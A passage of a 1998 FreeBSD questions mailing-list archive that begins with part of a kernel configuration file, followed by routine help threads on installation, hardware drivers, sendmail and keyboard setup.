options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options CHILD_MAX=128 options OPEN_MAX=128 options "NMBCLUSTERS=4096" options "MAXDSIZ=(256*1024*1024)" options "DFLDSIZ=(256*1024*1024)" config kernel root on wd0 controller isa0 #controller eisa0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 #disk fd1 at fdc0 drive 1 #tape ft0 at fdc0 drive 2 options "CMD640" # work around CMD640 chip deficiency controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr disk wd0 at wdc0 drive 0 #disk wd1 at wdc0 drive 1 controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr #disk wd2 at wdc1 drive 0 #disk wd3 at wdc1 drive 1 options ATAPI #Enable ATAPI support for IDE bus options ATAPI_STATIC #Don't do it as an LKM device wcd0 #IDE CD-ROM #device wfd0 #IDE floppy (LS-120) # A single entry for any of these controllers (ncr, ahb, ahc, amd) is # sufficient for any number of installed devices. # # Note: The dpt driver is present in this release but was left disabled # due to its relatively late entry (it's almost certainly benign to enable # it but we didn't want to risk any chance of destabilizing 2.2.6). To # enable DPT support, uncomment the dpt0 controller entry and the two # options DPTOPT and DPT_MEASURE_PERFORMANCE entries below. #controller ncr0 #controller amd0 #controller ahb0 #controller ahc0 #controller dpt0 #controller bt0 at isa? port "IO_BT0" bio irq ? vector bt_isa_intr #controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr #controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr #controller aic0 at isa? port 0x340 bio irq 11 vector aicintr #controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr #controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr #controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr #options DPTOPT # will go away soon #options DPT_MEASURE_PERFORMANCE # just enable for now #options DPT_VERIFY_HINTR # Some hardware must have it! #options DPT_TRACK_CCB_STATES # Some hardware must have it! #options DPT_HANDLE_TIMEOUTS # Some hardware must have it! #options DPT_TIMEOUT_FACTOR=4 # Some hardware needs more #controller scbus0 #device sd0 #device od0 #See LINT for possible `od' options. #device st0 #device cd0 #Only need one of these, the code dynamically grows #device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr #device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr #controller matcd0 at isa? port 0x230 bio #device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint #options XSERVER # support for X server #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Mandatory, don't remove device npx0 at isa? port "IO_NPX" flags 0x1 irq 13 vector npxintr # # Laptop support (see LINT for more options) # device apm0 at isa? disable # Advanced Power Management options APM_BROKEN_STATCLOCK # Workaround some buggy APM BIOS # PCCARD (PCMCIA) support #controller card0 #device pcic0 at card? #device pcic1 at card? device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr device sio2 at isa? disable port "IO_COM3" tty irq 5 vector siointr device sio3 at isa? disable port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr #device lpt1 at isa? port? tty #device mse0 at isa? port 0x23c tty irq 5 vector mseintr device psm0 at isa? port "IO_KBD" conflicts tty irq 12 vector psmintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. #device de0 #device fxp0 #device tx0 #device vx0 #device ed0 at isa? port 0x280 net irq 10 iomem 0xd8000 vector edintr #device ie0 at isa? port 0x300 net irq 10 iomem 0xd0000 vector ieintr #device ep0 at isa? port 0x300 net irq 10 vector epintr #device ex0 at isa? port? net irq? vector exintr #device fe0 at isa? port 0x300 net irq ? vector feintr #device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr #device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr #device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr device zp0 at isa? port 0x300 net irq 9 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device ether pseudo-device log #pseudo-device sl 1 pseudo-device ppp 1 pseudo-device vn 1 pseudo-device tun 1 pseudo-device pty 64 pseudo-device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing # This provides support for System V shared memory. # options SYSVSHM options SYSVSEM options SYSVMSG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:56:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27250 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:56:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horst.bfd.com (horst.bfd.com [204.160.242.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA27209 for ; Tue, 7 Apr 1998 12:56:29 -0700 (PDT) (envelope-from ejs@bfd.com) Received: from harlie.bfd.com (bastion.bfd.com [204.160.242.14]) by horst.bfd.com (8.8.8/8.8.8) with SMTP id MAA16289; Tue, 7 Apr 1998 12:56:18 -0700 (PDT) (envelope-from ejs@bfd.com) Date: Tue, 7 Apr 1998 12:56:18 -0700 (PDT) From: "Eric J. Schwertfeger" To: servers@max2001bulkisp.com cc: questions@FreeBSD.ORG Subject: Re: Server(s) Needed In-Reply-To: <199804071914.EAA28366@tx01.tv-tokyo.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998 servers@max2001bulkisp.com wrote: > The server will be used for Bulk Emailing Purposes. > > We will pay $500 United States Dollars per month of use per server. We > must be assured that the server will not be shut down for any reason. Anyone that considers that offer should ask themselves if $500 a month is worth your own entry in the RBL, plus all the animosity that it will generate. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 12:57:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27571 for freebsd-questions-outgoing; Tue, 7 Apr 1998 12:57:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA27539 for ; Tue, 7 Apr 1998 12:57:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA26837; Tue, 7 Apr 1998 12:57:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 12:57:41 -0700 (PDT) From: Doug White Reply-To: Doug White To: "J.R.S. II" cc: freebsd-questions@FreeBSD.ORG Subject: Re: floppy install In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, J.R.S. II wrote: > > I'm would like to do a floppy install on an old 486 laptop. I checked the > website and could not find any information on making the istallation > disks. Could someone please point me in the right direction. I'm > installing on an IBM Thinkpad without the freebsd cd-rom. Can I make > install floppies from the ftp site?? Sure. This should be explained in either INSTALL.TXT, LAYOUT.TXT, or the Handbook. Basically you copy as many of the bin.* files you can fit onto a floppy in the subdirectory bin\. Copy bin.inf to the first disk. Then select floppy install and feed the disks as prompted. The thing most people miss is putting bin.inf on and to put all the files in the subdirectory. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:00:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28327 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:00:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA28194 for ; Tue, 7 Apr 1998 12:59:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA26857; Tue, 7 Apr 1998 12:59:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 12:59:21 -0700 (PDT) From: Doug White Reply-To: Doug White To: t26v1441 cc: freebsd-questions@FreeBSD.ORG Subject: Re: xev: command not found In-Reply-To: <199804070334.MAA24486@www.adm.kyoto-u.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, t26v1441 wrote: > I started using FreeBSD 2 weeks ago.I am using 109 Japanesse keyboard and I > want customize my keyboard . I am using 2.2.5 R.when I try to look at > keycode by typing xev at command prompt (referring to manual book: FreeBSD > Power Guide by SHUWA SYSTEM CO.,LTD.JAPAN),but the command was not found.Is > there another command to use with 2.2.5R finding keycodes?Help me please. Do you have X Windows installed? xev comes with the XFree86 package. There's a profile for a 106 (key?) Japanese keyboard in /usr/share/syscons/keymaps. Your 109 has the Windows 95 keys? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:01:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28542 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:01:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA28489 for ; Tue, 7 Apr 1998 13:01:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26864; Tue, 7 Apr 1998 13:01:15 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:01:15 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jan Koum cc: questions@FreeBSD.ORG Subject: Re: "Read error" part II In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Jan Koum wrote: > > Hmm.. I thought it wouldn't matter since Adaptec and it's BIOS > would handle it, no? Yes, the PC has Award BIOS I think. Not sure about > Adaptec's BIOS version however. It's not in the SCSI controller, it's in the system BIOS. Your is affected. Try reinstalling and this time set up the disk for use with other OSs (non-dangerously dedicated). Should work this time. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:04:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29386 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:04:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29289 for ; Tue, 7 Apr 1998 13:04:05 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26868; Tue, 7 Apr 1998 13:03:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:03:57 -0700 (PDT) From: Doug White Reply-To: Doug White To: Matthias Apitz cc: ifield@mstk.com, freebsd-questions@FreeBSD.ORG Subject: Re: zp0 In-Reply-To: <9804070914.AA10072@kant.SOFTCON.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998 Matthias.Apitz@SOFTCON.de wrote: > Doug White wrote: > > On Sat, 5 Apr 1997, Ian Field wrote: > > > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to > > get 2.2.6-RELEASE to find this card. > > Use the 3com setup program on the 3c589 driver disk. I think it's called > `Install', select `Configuration and Diagnostics.' > > I tried this too but it complains about "No card" (or something > like that). The reason is the missing Card Service -- or do > you have a tool which doesn't require CS? My old 3c589B setup program would run the point enabler if the card wasn't loaded. I don't know if it'll work for the D rev though. I've also had problems with the setup program not liking my PCCARD controller, a Cirrus Logic derviative. I have a Digital HiNote VP 575. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:05:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29768 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:05:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29682 for ; Tue, 7 Apr 1998 13:05:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26875; Tue, 7 Apr 1998 13:05:23 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:05:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Paolo Dirienzo cc: freebsd-questions@FreeBSD.ORG Subject: Re: pppd In-Reply-To: <3.0.1.32.19980407121844.006a48a0@pop.inet.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Paolo Dirienzo wrote: > Hi, i am novice, I would need to finf the update version of the pppd > (currently I have searche in FAQ and the FreeBSD html but I did not find > anything. > thanks! Why do you need an updated pppd? Are you thinking of `ppp'? They are separate programs. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:07:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA00521 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:07:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA00442 for ; Tue, 7 Apr 1998 13:07:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26883; Tue, 7 Apr 1998 13:07:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:07:18 -0700 (PDT) From: Doug White Reply-To: Doug White To: ETX-B-SL Martti Kuparinen cc: questions@FreeBSD.ORG Subject: Re: invalid password in single-user mode In-Reply-To: <199804071250.OAA00407@kk662.kk.etx.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, ETX-B-SL Martti Kuparinen wrote: > What's wrong with my 2.2.6-RELEASE machine? In the multi-user > mode I can login as root, but the root password is not accepted in > single-user mode. I am using non-US version of DES instead of > MD5 if that matters... you need the root password in single user mode? Are you running NIS? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:08:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA00824 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:08:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA00257 for ; Tue, 7 Apr 1998 13:07:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26879; Tue, 7 Apr 1998 13:06:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:06:49 -0700 (PDT) From: Doug White Reply-To: Doug White To: Karl Pielorz cc: questions@FreeBSD.ORG Subject: Re: Changing the kernel on a 2.2.6 Install/Boot Disk... In-Reply-To: <352A0833.B367413A@tdx.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Karl Pielorz wrote: > How easy (if at all possible) is it to 'change' the kernel on a > 2.2.6-RELEASE boot/install disk? Not easy. If you want to build a new install disk you have to build all the tools on it. A mechanism exists to do this (dubbed `make release' for the command you run) but it does take time and resources to use. > I wanted to make an install disk with a different kernel on it, but I gather > because of the MFS / file system embedded in the kernel etc. - this could be > quite tricky? > > I have a 'donor' machine - which I don't mind installing all the source on > it and building it there - if that's what it takes... Okay, then. Install the full system source (I don't think you need xfree) then look in /usr/src/release. **READ THE MAKEFILE BEFORE YOU DO ANYTHING** Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:09:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01267 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:09:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01150 for ; Tue, 7 Apr 1998 13:09:06 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA26887; Tue, 7 Apr 1998 13:08:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:08:55 -0700 (PDT) From: Doug White Reply-To: Doug White To: Loïc Mahé cc: freebsd-questions@FreeBSD.ORG Subject: Re: [QUESTION] Driver for HP Colorado ? In-Reply-To: <352A32BA.E014DB29@pyrenet.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id NAA01160 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Loïc Mahé wrote: > Working with FreeBSD 2.2.2 on a Pentium, I would like to know if a > driver for the HP Colorado (5 GB) saving tool is available. What type of tape drive is this? SCSI? IDE? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:24:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03609 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:24:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03580 for ; Tue, 7 Apr 1998 13:23:50 -0700 (PDT) (envelope-from jkb@best.com) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.8/8.8.BEST) with SMTP id NAA08943; Tue, 7 Apr 1998 13:23:46 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Tue, 7 Apr 1998 13:23:41 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: Doug White cc: questions@FreeBSD.ORG Subject: Re: "Read error" part II In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Doug, Yes, using the whole disk w/o making it dedicated is what I tried after I sent out this eMail and it worked. I get this F1 . . . BSD Default F1 prompt however every time I reboot now. Not that I can't live with it.. Wonder if I can use nextboot, disklabel or fdisk to fix it now.. -- Yan Jan Koum jkb@best.com | "Turn up the lights; I don't want www.FreeBSD.org -- The Power to Serve | to go home in the dark." On Tue, 7 Apr 1998, Doug White wrote: >On Mon, 6 Apr 1998, Jan Koum wrote: > >> >> Hmm.. I thought it wouldn't matter since Adaptec and it's BIOS >> would handle it, no? Yes, the PC has Award BIOS I think. Not sure about >> Adaptec's BIOS version however. > >It's not in the SCSI controller, it's in the system BIOS. > >Your is affected. Try reinstalling and this time set up the disk for use >with other OSs (non-dangerously dedicated). Should work this time. > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:24:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03927 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:24:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ilink.nis.za (ilink.nis.za [196.6.121.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id NAA03867 for ; Tue, 7 Apr 1998 13:24:33 -0700 (PDT) (envelope-from sknight@ilink.nis.za) Received: from ppp-ct2-9.nis.za [196.28.5.136] by ilink.nis.za with smtp (Exim 1.73 #2) id 0yMeui-0001U8-00; Tue, 7 Apr 1998 22:24:12 +0200 From: "Stephen Knight" To: Subject: Questions . . . Date: Tue, 7 Apr 1998 22:27:13 +0200 Message-ID: <01bd6263$8e002360$LocalHost@stephen> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000C_01BD6274.5188F360" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000C_01BD6274.5188F360 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there . My friend recommended that I tried out FreeBSD. I am used to working in = a windows environment and I was just wondering if my applications that I = have on Windows 95 would still be able to work on X Windows which I am = told I would get with FreeBSD. Applications that I am talking about are WinZip, Cheyenne BitWare, FTP, = word processing, E-mail, etc. Would I be able to install these programs as usual as I would in Windows = ? Please get back to me as I am interested to know these things and = possibly even install FreeBSD on my PC. PS : Do you know where I would be able to obtain my own copy of FreeBSD. = I live in South Africa. ________________________________________ Stephen Knight sknight@ilink.nis.za 10 Blenheim Road Plumstead, 7800 SOUTH AFRICA Tel : +27-21-761 6825 Fax : +27-21-761 6825 ------=_NextPart_000_000C_01BD6274.5188F360 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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My friend recommended that I tried out = FreeBSD. I=20 am used to working in a windows environment and I was just wondering if = my=20 applications that I have on Windows 95 would still be able to work on X = Windows=20 which I am told I would get with FreeBSD.
 
Applications that I am talking about = are WinZip,=20 Cheyenne BitWare, FTP, word processing, E-mail, etc.
 
Would I be able to install these = programs as usual=20 as I would in Windows ?
 
Please get back to me as I am = interested to know=20 these things and possibly even install FreeBSD on my PC.
 
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------=_NextPart_000_000C_01BD6274.5188F360-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:26:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04823 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:26:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04784 for ; Tue, 7 Apr 1998 13:26:47 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA27030; Tue, 7 Apr 1998 13:26:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:26:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: Tony Dunn-Lowes cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sendmail In-Reply-To: <352A5774.FFBE202F@panic.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Tony Dunn-Lowes wrote: > Hi > > I run a fairly small, private host with FreeBSD 2.2.5 and have a few > subdomains setup for websites. I want to use the subdomains for mail too > but am unsure what I need to do to achieve this. > > Basically I want any mail addressed to a username at the particular > subdomain to be delivered to the user who 'owns' the subdomain. > > any ideas ? Play with the virtusertable feature of sendmail. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:34:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA07062 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:34:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ravel.n2.net (insane@ravel.n2.net [207.113.132.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07011 for ; Tue, 7 Apr 1998 13:34:33 -0700 (PDT) (envelope-from insane@ravel.n2.net) Received: (from insane@localhost) by ravel.n2.net (8.8.6/8.8.6) id NAA16088; Tue, 7 Apr 1998 13:34:32 -0700 (PDT) Message-ID: <19980407133432.48564@n2.net> Date: Tue, 7 Apr 1998 13:34:32 -0700 From: Ron Rosson To: questions@FreeBSD.ORG Subject: FreeBSD USERS Group Reply-To: insane@oneinsane.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 X-Organization: N2 Networking X-Position: Network Administrator Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wondering if anyone knows of a FreeBSD users group in the San Diego, CA Area. It is a shame that everything always happens up the coast. ;-) Ron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:37:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA07950 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:37:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07884 for ; Tue, 7 Apr 